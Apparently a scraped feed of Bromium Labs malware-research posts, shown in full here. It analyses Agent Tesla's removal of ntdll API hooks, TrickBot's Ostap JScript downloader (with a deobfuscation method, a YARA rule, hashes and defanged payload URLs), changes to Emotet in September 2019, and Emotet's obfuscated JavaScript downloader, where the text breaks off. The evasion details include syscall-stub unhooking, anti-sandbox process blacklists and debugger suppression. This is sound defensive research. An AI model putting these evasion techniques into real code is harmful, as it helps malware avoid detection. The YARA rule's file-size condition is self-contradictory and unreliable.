  • Call NtProtectVirtualMemory in ntdll.dll’s address space to change its memory permissions of the region to PAGE_EXECUTE_READWRITE
  • Removes the API hooks from ntdll.dll as described below
  • Call NtProtectVirtualMemory to reset the page permissions of the region back to PAGE_EXECUTE_READ
  • After removing the hooks, it executes the main payload via the ShellExecuteW API

Figure 4 – Shellcode that removes the API hooks.

The malicious code loads the address of Wow64SystemServiceCall into the edx register before scanning through the memory of ntdll.dll a byte at a time. In the above code, the instruction at 0x004A0A50 is incrementing the ebx register, which contains the location of the next part of ntdll.dll to examine.

The first check at 0x004A0A51 is performing a check unrelated to unhooking the type of hook described previously, so skip over that comparison and jump to 0x004A0A6B. The check at 0x004A0A6B is for the value of Wow64Transition and if it’s found then the instructions starting at 0x004A0A6F are performed. In sequence these are:

  • Write the value in eax (which is a counter for the system call number, so 0x50 in the case of NtProtectVirtualMemory) out to 5 bytes before the location of the value of Wow64Transition.
  • Write the byte 0xB8 out to 6 bytes before the location of the value of Wow64Transition.
  • Increment the value in eax, moving the system call number onto the next value

The result of writing out the 5 bytes (4 for eax and one for 0xB8) is to replace any hooking instruction (such as jmp 0x004F0012 in the previous example) with the original instruction that was there (which is mov eax, 50 in the previous example).

The end result is that the malicious code can now call system APIs, safe in the knowledge that its requests won’t be monitored or blocked by any hooks.

This unhooking isn’t an issue for Bromium Secure Platform as the malicious activity will still all be contained inside a micro-virtual machine (uVM) where hardware-backed isolation is used for protection.

Agent Tesla Payload

  • Filename: bin.exe [ByteCode-MSIL.Spyware.Ielib]
  • File size: 331.5 KB (339456 bytes)
  • MD5: 640CA1048F2AED048CB209234FA080B9
  • SHA-1: 58790A758B31E80648DB288BA86F49F7DC05D89B
  • SHA-256: 53997AF9CF992BF7A97E54F79A1474A1C0023133D7B97B861A278BAA238C9421

The post Agent Tesla: Evading EDR by Removing API Hooks appeared first on Bromium.


Quasar RAT installed by new phishing campaign

After Baltimore, mayors want Washington’s help to defend against ransomware

Deobfuscating Ostap: TrickBot’s 34,000 Line JavaScript Downloader

$
0
0

Introduction

For a malicious actor to compromise a system, they need to avoid being detected at the point of entry into the target’s network. Commonly, phishing emails delivering malicious attachments (T1193) serve as the initial access vector.[1]

Adversaries also need a way to execute code on target computers without tipping off automated tools and the monitoring efforts of security teams. One of the most common code execution techniques is to use interpreted scripting languages (T1064) that can run on an operating system without additional dependencies.[2] On Windows, popular interpreted languages that are abused by attackers include PowerShell, VBScript, JScript, VBA (Visual Basic for Applications), and commands interpreted by Command shell (cmd.exe).

Network attackers and defenders are in a constant state of competition to out-do the other to gain an advantage that could determine the outcome of an intrusion attempt. Against this background, we regularly see malicious actors change their tooling to increase the chances of a successful intrusion, particularly the downloaders used to initially compromise systems.

In early August 2019, we noticed that high-volume malicious spam campaigns delivering TrickBot started using Ostap, a commodity JavaScript (or more specifically, JScript) downloader. Previously, TrickBot campaigns relied on downloaders that used obfuscated Command shell and later PowerShell commands that were triggered by VBA AutoOpen macros to download their payloads.

In this post, I explain how to deobfuscate Ostap and describe a Python script I wrote (deobfuscate_ostap.py) that automates the deobfuscation of this JScript malware. The tool is available to download on GitHub.[3]

TrickBot, also known as The Trick, is a modular banking Trojan and dropper thought to be operated by at least three threat actors, tracked in the security community as TA505, Grim Spider and Wizard Spider.[4][5][6][7] While JavaScript-based downloaders aren’t new, TrickBot’s latest downloader is notable for its size, virtual machine detection and anti-analysis measures. For example, the Ostap samples analysed in this post generated incomplete traces in two different public sandboxes and neither downloaded their respective TrickBot payloads.[8][9] Moreover, a sample that was uploaded to VirusTotal had a low detection rate of 6/55 (11%) when it was first uploaded, suggesting that Ostap is effective at evading most anti-virus engines.

Figure 1 – VirusTotal detection summary for one of the Ostap samples.

Ostap, TrickBot’s JScript Downloader

Downloaders are a type of malware designed to retrieve and run secondary payloads from one or more remote servers. Their simple function means that downloaders are rarely more than several hundred lines of code, even when obfuscated. Ostap counters this trend in that it is very large, containing nearly 35,000 lines of obfuscated code once beautified. Historical TrickBot campaigns suggest that their operators prefer code obfuscation that is lengthier than most other e-crime actors to bypass detection, as seen, for example in campaigns in August 2018.[10]

Figure 2 – Line, word and byte count of a sample of Ostap used to deliver TrickBot after being beautified. The downloader is 34,757 lines long.

Macro Analysis

The downloader is delivered as a Microsoft Word 2007 macro-enabled document (.DOCM) that contains the two components of the downloader: a VBA macro and the JScript (figure 3). The emails and samples analysed were themed as purchase orders, suggesting that the campaigns were likely intended to target businesses rather than individuals.

Figure 3 – Lure document of the downloader.

The JScript component of the downloader is stored in the body of the document as white text, resulting in a high word and page count.

Figure 4 – JScript in lure document.

The VBA macro is saved in a project called “Sorry”. When the document is opened, it first copies the JScript to files named 2angola.dot and 2angola.dotu in the user’s default Word template directory (%AppData%\Microsoft\Templates). The procedure is triggered by a Document.Open event.[11]

Figure 5 – Annotated VBA code that runs when the document is opened.

The rest of the macro only runs if the document is closed, which is achieved by monitoring for a Document.Close event (figure 6).[12] This is an anti-sandbox measure used to defeat behavioural analysis by sandboxes that don’t imitate user activity such as closing documents.

Figure 6 – Annotated VBA code that runs when the document is closed.

If the document is closed, the macro renames 2angola.dot to 2angola.Jse and then runs it:

  1. The macro calls the Create method from the Win32_Process WMI class to run a new Explorer.exe process with 2angola.Jse as its command line argument (figure 7).[13]
  2. When a new Explorer.exe process is created where one is already running, the new process is created with the /factory,{75DFF2B7-6936-4C06-A8BB-676A7B00B24B} -Embedding command-line arguments (figure 8). The CLSID corresponds to the ProgID called “CLSID_SeparateMultipleProcessExplorerHost”.[14]
  3. Explorer runs 2angola.Jse using Windows Script Host (WScript.exe), the default file handler for JScript Encoded Files (.JSE), as shown in figure 9. The file extension of 2angola.dot is renamed to .Jse ensure that the JScript is opened using WScript.exe. Relying on default file associations means that the macro can evade detection by indirectly referencing WScript, a program commonly used for malicious purposes in the context of macros.

Figure 7 – Sysmon event showing an Explorer.exe process running the JScript file after being launched by WMI Provider Host (WmiPrvSE.exe).

Figure 8 – Sysmon event showing the new Explorer.exe process being created with the arguments /factory,CLSID {75DFF2B7-6936-4C06-A8BB-676A7B00B24B} -Embedding.

Figure 9 – Sysmon event showing WScript.exe running the JScript file.

Anti-Analysis Measures

Interestingly, the Ostap includes a fake Windows Script Host runtime error that occurs shortly after the script is run. It’s likely that the fake error was included to discourage manual examination of the downloader.

Figure 10 – Fake error message displayed early during the runtime of the downloader.

Figure 11 – Variable storing the fake error message in TrickBot’s downloader.

Some samples of the downloader contain the characters **/ at the beginning on the JSE file. This is another anti-analysis measure that is used to trip up automated JavaScript analysis tools which may interpret the rest of the script as being part of a comment block, rather than executable code.

Once deobfuscated, several other anti-analysis measures are revealed. For example, Ostap queries WMI to check if it is running in a virtual machine by looking for a blacklist of running processes:

  • AgentSimulator.exe
  • anti-virus.EXE
  • BehaviorDumper
  • BennyDB.exe
  • ctfmon.exe
  • fakepos_bin
  • FrzState2k
  • gemu-ga.exe (Possible misspelling of Qemu hypervisor’s guest agent, qemu-ga.exe)
  • ImmunityDebugger.exe
  • KMS Server Service.exe
  • ProcessHacker
  • procexp
  • Proxifier.exe
  • python
  • tcpdump
  • VBoxService
  • VBoxTray.exe
  • VmRemoteGuest
  • vmtoolsd
  • VMware2B.exe
  • VzService.exe
  • winace
  • Wireshark

Many sandboxes run these processes in their guest images, such as Cuckoo Sandbox and its derivatives which use a Python agent. The script also checks for a blacklist of host and user names.

  • Emily
  • HANSPETER-PC
  • HAPUBWS
  • Hong Lee
  • IT-ADMIN
  • JOHN-PC
  • Johnson
  • Miller
  • MUELLER-PC
  • Peter Wilson
  • SystemIT | admin
  • Timmy
  • WIN7-TRAPS

Beautifying the JScript

The JScript that is written to disk is one line, making it difficult to analyse manually. To make it more readable, you can reformat and add indentations to the code using Einar Lielmanis’s JS Beautifier tool, which also works for JScript because they share a similar syntax.[15]

js-beautify 2angola.Jse > 2angola.Jse.beautified

Identifying Code Structure, Key Variables and Functions

Now that the code is readable, we can begin analysing the script’s structure, variables and functions. Our aim here is to identify the functions responsible for deobfuscating the downloader.

The script includes many junk variables that aren’t used anywhere else in the script. We can simply remove these variables. It is often possible to distinguish the variables that have been automatically generated by an obfuscator from meaningful ones because their naming convention will differ.

For example, in figure 12 you can see some of the variable assignments in the script. All of them are junk code, except the variable called gunsder, which looks interesting because it contains the string “from”. It’s also referenced 2,515 times, which is promising.

Figure 12 – Some of the variables in the script.

In figure 13, you can see at line 15 a function called xxqneol. The variable that we identified as interesting, gunsder, is concatenated with other strings. After concatenation, you can see that the returned string is a reference to the fromCharCode() method which converts a Unicode character code into a character.[16] This function is supplied a parameter called etsfhis. Before calling fromCharCode, the function checks that the second parameter, vqjpvi, is the character h. This function is also referenced 7,540 times, so it’s likely that this function is used in the deobfuscation of the script.

Now that we understand what the function does, we can give it, its variables and parameters meaningful names (figure 14).

Figure 13 – Function xxqneol before deobfuscation.

Figure 14 – Renamed xxqneol function.

Analysis of Character Code Calculation Functions

Next, we can look at the functions where fromCharCode is referenced to understand how it is used. After cleaning up the code in figure 15, you can see that the function uses arithmetic operators to calculate a Unicode character code from the values stored in an array called pkkwrit4. The Unicode character code and the character h are then supplied to the fromCharCode function, which returns a Unicode character. In this case, the character returned is f. Each character in the downloader has its own function to calculate its character code. This particular sample has 7,540 functions that are used to calculate all the characters codes.

Figure 15 – One of the many functions used to calculate Unicode character codes.

Figure 16 – Cleaned up function.

Writing a Python Script (deobfuscate_ostap.py) to Automate Deobfuscation

Since we don’t want to have to manually calculate and decode 7,540 Unicode character codes, let’s write a Python script to do this for us.

By looking for code similarities we can work out what actions we need the script to perform. In the functions that calculate the Unicode character codes, the final character code value is always calculated using the elements at index 0 and 1 of an array. Some arithmetic is performed on these elements before they are supplied to the fromCharCode function. So far we’ve seen addition and subtraction used in Ostap samples in the wild.

We can use Python’s re module to write regular expressions that match the elements in each array at index 0 and 1 and store them in lists.[17] Next, we’ll clean up the matches using the re.sub() function and then convert them into integers. We can then use Python’s zip() function to perform the arithmetic on the values in the index 0 and 1 lists.[18] The script tries subtraction and addition operations to deobfuscate the downloader. Finally, the script converts the character codes into Unicode characters, removes line breaks and prints the result.

The script is available on GitHub to download and can be modified to support automated analysis pipelines.[3] To test the script, a YARA rule was written to detect Ostap and then run against 100 samples from August 2019. The extracted and deduplicated URLs are at the end of the report.

Analysis of the Deobfuscated Downloader

After running the script, we can examine the deobfuscated strings from the downloader, including the URL where the TrickBot payload is hosted:

  • hxxps://185.180.199[.]102/angola/mabutu.php?min=14b

Figure 17 – Deobfuscated strings of Ostap sample using deobfuscate_ostap.py.

The strings are very similar to older Ostap samples from 2018 onwards, enabling us to make a high confidence assessment that the downloaders used to deliver TrickBot in August 2019 belong to this family of malware. Public reporting shows that this malware has been used in campaigns unrelated to TrickBot since 2016, delivering various financial malware families.[19][20] The variety of malware delivered by Ostap suggests that it is commodity malware that is popular among different threat actors, including now TrickBot’s operators.

Ostap’s aggressive anti-analysis features and low detection rate compared to downloaders that use other interpreted scripting languages make it an attractive choice for malware operators seeking a downloader.

YARA Rule

rule win_ostap_jse {
      meta:
            author = "Alex Holland @cryptogramfan (Bromium Labs)"
            date = "2019-08-29"
            sample_1 = "F3E03E40F00EA10592F20D83E3C5E922A1CE6EA36FC326511C38F45B9C9B6586"
            sample_2 = "38E2B6F06C2375A955BEA0337F087625B4E6E49F6E4246B50ECB567158B3717B"

      strings:
            $comment = { 2A 2A 2F 3B } // Matches on **/;
            $array_0 = /\w{5,9}\[0\]=\d{1,3};/
            $array_1 = /\w{5,9}\[1\]=\d{1,3};/

      condition:
            (filesize > 1100KB and filesize < 400KB) and (($comment at 0) and (#array_0 > 100) and (#array_1 > 100)) or ((#array_0 > 100) and (#array_1 > 100))
}

Hashes (SHA-256)

  • F3E03E40F00EA10592F20D83E3C5E922A1CE6EA36FC326511C38F45B9C9B6586 – Last_order_specification_1217492.docm
  • 38E2B6F06C2375A955BEA0337F087625B4E6E49F6E4246B50ECB567158B3717B – Heiress_Documents_id18598.docm

Extracted URLs

  • hxxps://185.130.104[.]149/odr/updateme.php?oxx=p
  • hxxps://185.130.104[.]149/odr/updateme.php?oxx=up
  • hxxps://185.130.104[.]149/odr/updateme.php?oxx=z
  • hxxps://185.130.104[.]236/deerhunter/inputok.php?min=29h
  • hxxps://185.130.104[.]236/deerhunter/inputok.php?min=up3
  • hxxps://185.130.104[.]236/deerhunter2/inputok.php?min=6h
  • hxxps://185.130.104[.]236/deerhunter2/inputok.php?min=8h
  • hxxps://185.130.104[.]236/deerhunter2/inputok.php?min=9a
  • hxxps://185.130.104[.]236/deerhunter2/inputok.php?min=9h
  • hxxps://185.130.104[.]236/targ/inputok.php?min=13s
  • hxxps://185.130.107[.]236/deerhunter3/inputok.php?min=12a
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=up
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=17ha
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=18h
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=19a
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=19h
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=a
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=m
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=m2
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=t2
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=tu
  • hxxps://185.159.82[.]15/hollyhole/c644.php?min=w
  • hxxps://185.159.82[.]15/hollyhole2/c644.php?min=19h
  • hxxps://185.159.82[.]15/hollyhole2/c644.php?min=79
  • hxxps://185.159.82[.]20/t-30/x644.php?min=m
  • hxxps://185.159.82[.]20/t-34/x644.php?min=24
  • hxxps://185.159.82[.]20/t-34/x644.php?min=f
  • hxxps://185.159.82[.]20/t-34/x66744.php?min=u2
  • hxxps://185.180.199[.]102/angola/mabutu.php?min=14b
  • hxxps://189.130.104[.]236/deerhunter3/inputok.php?min=13h

References

[1] MITRE ATT&CK technique T1193 “Spearphishing Attachment”, https://attack.mitre.org/techniques/T1193/

[2] MITRE ATT&CK technique T1064 “Scripting”, https://attack.mitre.org/techniques/T1064/

[3] https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py

[4] “Security Primer: TrickBot”, Multi-State Information Sharing and Analysis Center, March 2019, https://www.cisecurity.org/wp-content/uploads/2019/03/MS-ISAC-Security-Primer-Trickbot-11March2019-mtw.pdf

[5] “Threat Group Cards: A Threat Actor Encyclopedia”, ThaiCERT, p. 226, https://www.thaicert.or.th/downloads/files/A_Threat_Actor_Encyclopedia.pdf

[6] “Threat Group Cards: A Threat Actor Encyclopedia”, ThaiCERT, p. 259

[7] “Threat Group Cards: A Threat Actor Encyclopedia”, ThaiCERT, p. 272

[8] https://app.any.run/tasks/dc86fb23-b8ac-49db-8c22-a53b88236676/

[9] https://www.hybrid-analysis.com/sample/38e2b6f06c2375a955bea0337f087625b4e6e49f6e4246b50ecb567158b3717b?environmentId=120

[10] https://www.virustotal.com/gui/file/1512b7e34006ff7b69c76601fcf554668a3378d31c77b44507960d46e3a7c02c/details

[11] https://docs.microsoft.com/en-us/office/vba/api/word.document.open

[12] https://docs.microsoft.com/en-us/office/vba/api/word.document.close(even)

[13] https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process

[14] https://en.wikipedia.org/wiki/ProgID

[15] https://github.com/beautify-web/js-beautify

[16] https://www.w3schools.com/jsref/jsref_fromcharcode.asp

[17] https://docs.python.org/3/library/re.html

[18] https://docs.python.org/3.3/library/functions.html#zip

[19] https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/

[20] https://www.carbonblack.com/2017/06/12/carbon-black-threat-research-dissects-emerging-mouseover-malware/

The post Deobfuscating Ostap: TrickBot’s 34,000 Line JavaScript Downloader appeared first on Bromium.

Emotet’s updated business model

Social media and enterprise apps pose big security risks

TrickBot Trojan switches to stealthy Ostap downloader

CyberWire Daily Briefing


TrickBot Makes Heavy Use of Evasion in Recent Attacks

Daily Cyber Digest

Netwire RAT rides on new malware dropper

Changes to Emotet in September 2019

$
0
0

Thank you to Ratnesh Pandey who also contributed to this research.

On 16 September 2019, Bromium Labs observed the resumption of Emotet malicous spam (malspam) campaign activity following a hiatus since the beginning of June 2019. Here’s a summary of the changes to Emotet’s operation that we’ve seen so far.

New Packer

We analysed a sample of Emotet binaries from the malware’s botnets (known as epochs) served in September 2019 and found that some of the binaries now use a different packer. The new packer is significantly larger, containing approximately two thousand functions compared to around 15 functions in the old packer. Using data from the Cryptolaemus research group, who have been doing exceptional research tracking Emotet’s activity, it is apparent that Emotet binaries packed using the new packer are not exclusive to any epoch.[1] For example:

SHA256 Packer Filesize (bytes) Epoch
45220f34796220c461e5aff0d9c716b55a1b5fcf55000f52cb2b51107c5d33c6 Old 346624 1
22bb4f5cedd169ef7f8a6b5b6b186c94ff79a5e61eb6bde90bd1032ccf4c7936 Old 346624 2
10b706cfac5a268938cbd87c67ad33a58fd9e99cb7ad7d3d4b76e306723019f6 Old 346624 2
f5af8586f0289163951adaaf7eb9726b82b05daa3bb0cc2c0ba5970f6119c77a New 483328 1
1e079b99b841a9d317953b09d0af041105d4b0ce5c72f0727fb0e098393ad35d New 483328 1
6076e26a123aaff20c0529ab13b2c5f11259f481e43d62659b33517060bb63c5 New 491520 2

Table 1 – Examples of Emotet binaries served in September 2019.

New Downloader Document Templates

Emotet’s operators use a variety of Microsoft Office templates to trick users into enabling a malicious Visual Basic for Applications (VBA) macro. The AutoOpen macro triggers the download and execution of an Emotet binary. So far in September, we’ve observed two types of document being used. The first type is a macro triggering a PowerShell download cradle, while the second is a macro that drops and runs a JScript (JSE) downloader using Windows Script Host (WScript). The most common document template we’ve observed in September 2019 is the use of a banner pretending to be a Microsoft Office license expiry notification (figure 1).

Figure 1 – One of the new document templates used in the Emotet Microsoft Word downloader.

The banner displays a date when Microsoft Word will supposedly expire (20 September 2019 in the example above), relying on a sense of urgency to convince users to click “Enable Content” and trigger the macro. The document templates are regularly updated and given the choice of date, it’s likely that the banner will be updated weekly. It is interesting that Friday rather than Sunday was chosen as the license expiry day, particularly because historically Emotet campaign activity has paused over weekends. One possibility is that because Emotet targets businesses rather than individuals, the rate of infection is significantly lower over weekends when most employees aren’t in the office, so perhaps Emotet’s operators simply don’t expect many users to infect themselves on their days off.

Multilingual Targeting

As observed in previous Emotet campaigns the emails are highly customised, enabling Emotet’s operators to socially engineer targets more effectively by translating subject lines, body content and attachment names into different languages and masquerading as popular regional online services. Across the Emotet samples isolated by Bromium Secure Platform this week, we’ve identified emails in English, Italian and German, determined by the location of the recipient. For example:

Date: Wed, 18 Sep 2019 11:03:02 -0600
From: Robin [Redacted] <damian.pirog@ctr[.]pl>
To: "[Redacted]" <[Redacted]@[Redacted].com>
Subject: RE: RE: [Redacted] Error Notification System- ACTION REQUIRED

Date: Wed, 18 Sep 2019 13:38:27 +0200
From: "[Redacted], Massimo (IT)" <dcedeno@hidrocaven[.]com>
To: "[Redacted]" <[Redacted]@[Redacted].com>
Subject: Re: R: FOLLETTO: Piano Certificazione Unica

Date: Wed, 18 Sep 2019 05:10:05 -0600
From: <cobranza1@mapisa[.]com[.]mx>
To: "[Redacted]" <[Redacted]@[Redacted].com>
Subject: Per E-Mail senden: EK 4957718-367 - September

The Emotet botnets send two types of spam email. The first type are emails designed to mimic common financial documents, such as invoices and purchase orders. These rely on eliciting a sense of curiosity in the recipient to cause them to open and run the Emotet downloader. So far in September, we’ve seen Microsoft Word DOCM and DOTM files delivered as attachments or hyperlinks.

The second type are emails that are replies to existing threads. These are more devious because at first glance the recipient may believe that the email is from the sender. This type of spam can occur when the sender’s computer has been infected by Emotet. One of Emotet’s post-infection actions is stealing the address book, credentials and emails from the victim’s email client and sending them to a command and control (C2) server. The stolen emails are used to construct more convincing spam, which are then sent from a subset of bots in one of the Emotet botnets to people that have previously corresponded with the victim.[2]

MIME Type Change in Server-side PHP Script (index.php)

Emotet binaries are hosted on compromised web servers that run PHP. There are only minor differences in the PHP script (index.php) used to serve the Emotet binary between a sample from May and September 2019.[3][4] The biggest change is in the HTTP GET request headers that are served when Emotet is downloaded. The MIME type of the served Emotet executable is now “application/x-msdownload” instead of “0”.

Figure 2 – Extract from Emotet index.php script from May 2019.

Figure 3 – Extract from Emotet index.php script from September 2019.

GetProcAddress for Invalid Function

Our previous analysis of Emotet binaries found that the loader tries to resolve an invalid function name through a call to GetProcAddress.[5] An analysis of Emotet samples from September 2019 found only the binaries packed using the old packer make a GetProcAddress call for an invalid function. In the samples that do make the API call, the name of the invalid function has changed.[6]

  • June 2019:
    • mknjht34tfserdgfwGetProcAddress
  • September 2019:
    • 99999934tfserdgfwGetProcAddress

Packer Registry Check

An analysis of Emotet binaries served in the September 2019 campaign found that only the binaries packed using the old packer check for a Registry key through a call to RegOpenKeyA, listed below. Previously, Emotet binaries analysed before the hiatus in spam campaigns in June 2019 contained the Registry check. Failing the Registry check (i.e. if the key does not exist, or cannot be read) causes the Emotet process to enter an infinite loop or terminate itself.[5]

  • 32-bit systems:
    • HKEY_CLASSES_ROOT\Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}
  • 64-bit systems:
    • HKEY_CLASSES_ROOT\Wow6432Node\Interface\{AA5B6A80-B834-11D0-932F00A0C90DCAA9}

Conclusion

The most significant change in Emotet campaign activity that we’ve observed in September 2019 is the use of a new packer that is currently being used for some of the binaries. The tactics, techniques and procedures (TTPs) used by Emotet’s operators has not changed significantly from previous campaigns. It is possible that new features that may have been developed during the malware’s 10 week break may be gradually phased into production. What we can say for certain is that Emotet has proven itself to be one of the most resilient and professionally run botnets in recent years.

References

[1] https://twitter.com/cryptolaemus1?lang=en
[2] https://www.kryptoslogic.com/blog/2018/10/emotet-awakens-with-new-campaign-of-mass-email-exfiltration/
[3] https://gist.github.com/riper81/5455fed0c6e5460b0b71d6d5c95f34ad/af90cc54690ba66b4a21575375aef14810a8f312
[4] https://github.com/cryptogramfan/Malware-Analysis/blob/master/Emotet/201909/index.php
[5] https://www.bromium.com/resource/emotet-a-technical-analysis-of-the-destructive-polymorphic-malware/
[6] For example, SHA256: d36ae7bf558a278579b47f00048f4995e377a022b74ad633981da7ad65f7c976, di1h6oots_767418872.exe.

The post Changes to Emotet in September 2019 appeared first on Bromium.

Reawakening of Emotet: An Analysis of its JavaScript Downloader

$
0
0

In mid-September 2019, Emotet resumed its activity and we evaluated changes to its operation in a previous blog post by Alex Holland.

One of the noticeable changes is that some of the malicious Microsoft Word downloaders drop and execute JavaScript during the initial compromise. The use of a JavaScript downloader delivered within an archive (.zip) file by Emotet is not new, but samples from the September campaign shows that the downloader has been updated. Emotet’s document-based downloaders mostly relied on Visual Basic for Applications (VBA) macros and PowerShell to download a packed payload to victim systems, but use of JavaScript to download and execute the main payload is more prevalent now.

In this blog post, we analyse Emotet’s updated JavaScript downloader which is more heavily obfuscated than previous versions. The use of obfuscated JavaScript in the initial compromise phase easily evades detection based on static analysis and parent-child process relationships. Our analysis shows how using multiple layers of obfuscation, bracket notation, anonymous functions, mangled names and anti-analysis measures enables Emotet to stay one step ahead of signature-based engines. The similarity of the obfuscation measures used resembles that of an open-source GitHub project called JavaScript obfuscator. It is possible that Emotet’s JavaScript downloaders are obfuscated using this software.

File Information

  • File Name: Documento_2019_69318.docm
  • File Size: 240.77 KB (246552 bytes)
  • Classification: Document-Word.Trojan.Sdrop
  • MD5: 8CCBE39E1FCEAD257284E55753C18799
  • SHA1: D468EA5BA7A856C12C3AC887C1A023F6B1182165
  • SHA256: 82BB3612B299CBA0350E1DC4C299AF9D50354CC1448B1DD931017F4381D0606A

Microsoft Word Dropper

The Emotet downloader arrived as part of a phishing campaign delivering a malicious Microsoft Word document (.docm). In this sample, the malware author tricks the user into clicking the “Enable content and Enable Editing” ribbon using a warning that Microsoft Word’s features will be disabled after Friday, September 20, 2019.

Figure 1 – New Microsoft word document template with a warning to trick the user into clicking on the “Enable content” button.

Enabling content leads to the execution of the macro. Unlike the previous version of Emotet’s downloader, the embedded macro is less obfuscated but contains a lot of junk lines. One can easily deobfuscate the Document_Open subroutine by deleting those junk lines. The subroutine uses Scripting.FilesystemObject to create a text file at location %USERPROFILE%\0.7055475.jse.

Not So Random File Name – 0.7055475.jse

The file name is generated using VBA’s Rnd function that generates a pseudo-random seven digit number that is greater than 0 and less than 1. However, the implementation of the Rnd function in the macro does not result in a random file name as intended. This is because in order to generate a pseudo-random number, Rnd relies on a seed value. In Visual Basic, you can generate a fresh seed value using the Randomize function, but macro’s author did not do this. The result is that the Rnd function generates a number from the default seed value, resulting in a consistent filename (“0.7055475.jse”). According to Microsoft’s documentation on the pseudo-random number generator implemented in Rnd, by default the function will return the same sequence of pseudo-random numbers each time the program is run.

Writing the JavaScript to Disk

The macro then uses function CreateTextFile to create file at location %USERPROFILE% with parameters to overwrite any existing files at that location with same filename and Unicode encoding set to true. CreateTextFile returns a text stream of the object and then the macro calls the Write method the on the text stream object to save the content of an embedded form called UserForm1. As we can see in figure 2, UserForm1 contains the obfuscated JavaScript which is then written into a .jse file.

Figure 2 – Embedded JavaScript within Form UserForm1.

Figure 3 – Obfuscated Document_Open subroutine, which contains junk lines.

Figure 4 – Deobfuscated Document_Open subroutine that copies and executes the embedded JavaScript.

After dropping the JavaScript file, the macro creates a WScript shell object by calling CreateObject on Shell.Application. The methods of the shell object makes system functions available to the macro. Malware authors often use these methods to create directories, access special folders, spawn processes and execute scripts. In this sample, the ShellExecute method is used to launch the JSE file.

JavaScript Downloader

As expected, the JSE file is highly obfuscated and easily evades detection based on signature and static-code analysis. Figure 5, shows that even eight days after the  infection only 9/57 (16%) of engines detected the malicious JavaScript.

Figure 5 – VirusTotal detection summary for 0.7055475.jse.

  • Path: %USERPROFILE%\0.7055475.jse
  • SHA256: D1292f0e74af41db6139b453effb022d8c506efa3108a22f87d580fab9c5e864

Figure 6 – Snippet of Obfuscated JavaScript which shows content of string array “a”.

Heavy use of Bracket Notation

In JavaScript, you can call methods and access properties of an object using bracket notation. For example, [“WScript”][“CreateObject”](“WScript.Shell”). Bracket notation provides several benefits with only one restriction that object’s property identifier should be a string or resolve to a string. This means that you can use variables and numbers in place of property identifiers in bracket notation. For malware authors, it provides an opportunity to tokenise and substitute methods and properties of an object within brackets with obfuscated strings. In this sample, Emotet uses bracket notation extensively, substitutes and obfuscates the strings, defines the strings in one place in an array, implements another layer of obfuscation and then encodes these strings. The resulting JavaScript makes it difficult for static analysis engines to deobfuscate the downloader.

Use of Anonymous Functions

The script starts with an array initialised with obfuscated strings. Just after the array initialisation, there is an anonymous function (figure 7). In JavaScript, an anonymous function is simply a function without a name. These functions are not declared with a named identifier and can be assigned to a variable. These variables can have a mangled name which makes it hard to read and analyse the script. One can think of them as being similar to function pointers in C and C++. The function defined in figure 7 shuffles the array.

Figure 7 – Anonymous functions that shuffles the strings in the array.

This function takes two arguments. The first argument is string array “a” and the second is a hex number 0xEA (234). The function uses hex value 0xEA as a counter and then passes it to another function called “e”. Let’s rename “e” to “Shuffle”. This function is another anonymous function that runs a while loop and decrements the counter until it reaches zero. During each iteration, it performs two tasks. First, it calls the “shift” operator on array “a”. The “shift” operator removes the first element from string array “a” and returns the first element. It also decrements the length of the array by one.  Second, it calls the “push” operator, which pushes the element removed in step 1 by the “shift” operator to the last position of the array.

Let’s understand the operation by following an example where temp_array is initialised with [‘1’, ‘2’, ‘3’]:

var temp_array = [‘1’, ‘2’, ‘3’];

The Shift operation on temp_array will return the first element “1”, causing temp_array to contain [‘2’, ‘3’].

The Push operation on temp_array with argument temp_array.shift(), will push “1” in to the last index. Now the temp_array will hold the elements in the order:

[‘2’, ‘3’, ‘1’]

In this script, it shuffles the strings in the array “a” 234 times.

Use of Mangled Names in JavaScript

In this script, all the functions are anonymous and are assigned to variables that have mangled names, for example a, b, c, etc. The use of mangled names makes a function call unrecognisable and hard for an analyst to read and understand its logic. The next anonymous function is assigned to variable “b”.  The function assigned to variable “b” is used for deobfuscation and returns a string that is used for retrieving the properties of objects in bracket notation mentioned above. The function takes two arguments: an array index and a string that is four characters long. The second argument of the function is a key to decode the string in array “a”. This function also stores decoded values in a dictionary to avoid decoding it again if referenced multiple times.

Figure 8 – Decoded strings for the corresponding calls to the deobfuscator function with array index and key as parameters.

Anti-Analysis – Disabling Debugging

The script disables debugging of the JSE script using browsers and development tools. It calls a debug protection function based on the runtime environment. In the snippet below, function “bV” is called with the argument “0” which puts the script either into an infinite loop or calls an anonymous function with the constructor “debugger”. If an analyst tries to debug the script, for instance in a browser, the debug protection used in the script will freeze the browser and make it almost impossible to debug unless the debug protection function is removed.

Figure 9 – Function that checks and returns the debug protection template function.

Figure 10 – Anonymous function template to provide debug protection.

Anti-Analysis – Disabling Console Output using Hooks

The script disables console output by redefining the console output function for all trace levels. It calls the function “ad” before downloading the payload. This function splits the string “3|2|0|4|1” with separator character “|” to tokenise it. Each token converts into a switch case statement and sets some variables. This is a standard trick to prepare variables for a switch-case block inside a while(true) loop.

In figure 11, the case “2” block sets variable “as” to an empty function. This is then used to redefine [‘Console’][‘log’], [‘Console’][‘trace’], [‘Console’][‘info’], etc in the case “1” block to an empty function call. If the analyst adds console logs to the script, it won’t be printed on execution and will end up calling an empty function call. This technique generates confusion and makes it hard for an analyst to print the deobfuscated statements and variables.

Figure 11 – In case “2” block, variable “as” is defined as an empty function.

Figure 12 – The case “1” block redefines [‘console’][Level] to an empty function, where <Level> is info, debug, trace etc.

Downloading the Payload using an ActiveXObject and HTTP POST Request

The script then creates a ServerXMLHTTP object to retrieve an XML response using HTTP POST method.

bN[‘setOption’](0x3, “MSXML”);

